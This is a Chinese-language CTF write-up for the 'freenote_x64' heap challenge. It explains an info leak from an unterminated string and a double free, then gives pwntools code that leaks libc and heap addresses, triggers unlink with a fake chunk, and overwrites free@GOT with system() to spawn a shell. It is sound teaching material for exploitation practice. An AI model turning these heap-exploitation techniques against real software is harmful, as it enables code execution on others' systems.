漏洞程序freenote_x64下载
运行程序,这是一个note笔记本程序:
1 2 3 4 5 6 7 8 9
| ➜ ./freenote_x64 == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit ==================== Your choice:
|
new_note和delete_note通过malloc()
和free()
来管理内存。
这个程序有两个漏洞,一个是建立新note的时候在note的结尾处没有加\0
因此会造成堆或者栈的地址泄露,另一个问题就是在delete note的时候,并不会检测这个note是不是已经被删除过了,因此可以删除一个note两遍,造成double free。
泄露libc在内存中的地址
因为note的结尾没有\0
,因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段,因此我们可以通过新建两个note(必须两个,若只有一个,删除后没有fd,bk)再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| notelen = 0x80
new_note("A" * notelen) new_note("B" * notelen) delete_note(0)
new_note("\xb8")
list_note()
p.recvuntil("0. ") leak = p.recvuntil("\n") print leak[0:-1].encode('hex') leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leaklibcaddr)
delete_note(1) delete_note(0)
libc_base_addr = leaklibcaddr - 0x3be7b8
system_sh_addr = libc_base_addr + 0x46640 print "system_sh_addr: " + hex(system_sh_addr)
print "binsh_addr: " + hex(binsh_addr) binsh_addr = libc_base_addr + 0x17ccdb
|
note_table的指针在.bss
段的地址:
1
| .bss:00000000006020A8 note_table_ptr dq ?
|
用gdb attach到freenote_x64的进程上,查看指针值即为note_table的地址,查看note_table内容:
1 2 3 4 5 6 7 8
| gdb-peda$ x/x 0x6020A8 0x6020a8: 0x0000000002328010 ; note_table address
gdb-peda$ x/8x 0x2328010 0x2328010: 0x0000000000000100 0x0000000000000002 0x2328020: 0x0000000000000001 0x0000000000000080 0x2328030: 0x0000000002329830 0x0000000000000001 0x2328040: 0x0000000000000080 0x00000000023298c0
|
note_table的结构:
1 2 3 4 5 6 7
| head chunk0 chunk1 | | | +--------+--------+--------+--------+---------+- | total | in_use | in_use | note | note | | number | number | | length | address | ... | 0x100 | | | | | +--------+--------+--------+--------+---------+-
|
这时note_table中有2条note,地址分别为0x2329830和0x23298c0。
删除note0后,查看note_table里的内容:
1 2 3 4 5
| gdb-peda$ x/8x 0x2328010 0x2328010: 0x0000000000000100 0x0000000000000001 0x2328020: 0x0000000000000000 0x0000000000000000 0x2328030: 0x0000000002329830 0x0000000000000001 0x2328040: 0x0000000000000080 0x00000000023298c0
|
查看note0地址里的内容:
1 2 3
| gdb-peda$ x/4x 0x2329830 0x2329830: 0x00007ff508b507b8 0x00007ff508b507b8 0x2329840: 0x4141414141414141 0x4141414141414141
|
fd为0x00007ff508b507b8,bk为0x00007ff508b507b8
新建一个内容为"\xb8"
的note,打印内容就能泄露出fd的值。由fd的值计算出libc在内存的基址,从而算出system()
和"/bin/sh"
的实际地址。
system()
和"/bin/sh"
在libc中的偏移可以如下得出:
1 2 3 4 5 6
| from pwn import *
libc = ELF("./libc-2.19.so")
print hex(next(libc.search('/bin/sh'))) print hex(libc.symbols['system'])
|
或者手工:
1
| $ nm -D libc-2.19.so | grep system
|
泄露出heap在内存中的地址
如果让某个非使用中chunk的fd指向另一个chunk,并且让note的内容刚好接上,就可以把chunk在堆上的位置给泄露出来。这样我们就能得到堆(note_table)的基址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| notelen = 0x10
new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0)
new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n")
print leak[0:-1].encode('hex') leakheapaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leakheapaddr)
delete_note(0) delete_note(1) delete_note(3)
|
删除note2和note0后freelist的结构:
1 2 3 4 5 6 7
| freelist note0空闲块 note2空闲块 | | | +------+ +------+ +------+ | | --> | fd |--> | fd | | | <--| bk | <--| bk | +------+ +------+ +------+ | .... |
|
freelist是从头进,从尾出(FIFO)。先删除note2,note2加入list,再删除note0,note0从头加入。再新建一个内容为”AAAAAAAA”的note,会先使用note2空闲块,因此看一下note2的内容:
1 2 3
| gdb-peda$ x/4x 0x2329950 0x2329950: 0x00007ff508b507b8 0x0000000002329820 0x2329960: 0x0000000000000000 0x0000000000000000
|
新建note后,”AAAAAAAA”覆盖了0x00007ff508b507b8,正好接到0x0000000002329820(note0地址),使用list_note就能泄露出note0的地址,note0的地址减去0x1810就是note_table的地址。
使用double free的漏洞触发unlink
将note0的地址指向note_table的地址。随后我们就可以通过编辑note0来编辑note_table了。通过编辑note_table我们把note0指向free()
函数在got表中的地址,把note1指向"/bin/sh"
在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()
的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了"/bin/sh"
,所以程序会执行system(“/bin/sh”),最终达到了我们的目的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| notelen = 0x80
new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen)
delete_note(2) delete_note(1) delete_note(0)
fd = leakheapaddr - 0x1810 + 0x20 - 0x18
bk = fd + 0x8
|
对应的堆结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| +-----------+-note0 | prev_size | +-----------+ | size&Flag | +-----------+-malloc返回的ptr +-----------+ +-----------+ | data | +-----------+-note1 | prev_size | +-----------+ | size&Flag | +-----------+-malloc返回的ptr +-----------+ +-----------+ | data | +-----------+-note2 | prev_size | +-----------+ | size&Flag | +-----------+-malloc返回的ptr +-----------+ +-----------+ | data | +-----------+
|
fd指向note0在note_table中的位置减0x18,bk指向note0在note_table中的位置减0x10
1 2 3 4 5 6 7 8 9 10 11
| payload = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
new_note(payload)
delete_note(1)
|
对应的堆结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| +-----------+-note0 | prev_size | +-----------+ | size&Flag | +-----------+-malloc返回的ptr | fake_prev | +-----------+ | fake_size | +-----------+ | fake_fd | +-----------+ | fake_bk | +-----------+ | data | +-----------+-note1 | fake_prev | +-----------+ | fake_size | +-----------+-malloc返回的ptr +-----------+ +-----------+ | data | +-----------+-note2 | 0 | +-----------+ | size&Flag | +-----------+-malloc返回的ptr +-----------+ +-----------+ | data | +-----------+
|
delete note1就会触发unlink,使note0的地址变成note0->pos-0x18
,这时对note0进行编辑即对note_table进行编辑:
1 2 3 4 5 6 7 8 9 10 11
| free_got = 0x602018
payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr) payload2 += "A"* (notelen*3-len(payload2))
edit_note(0, payload2) edit_note(0, p64(system_sh_addr))
delete_note(1)
p.interactive()
|
完整exp
reference
http://drops.wooyun.org/binary/10638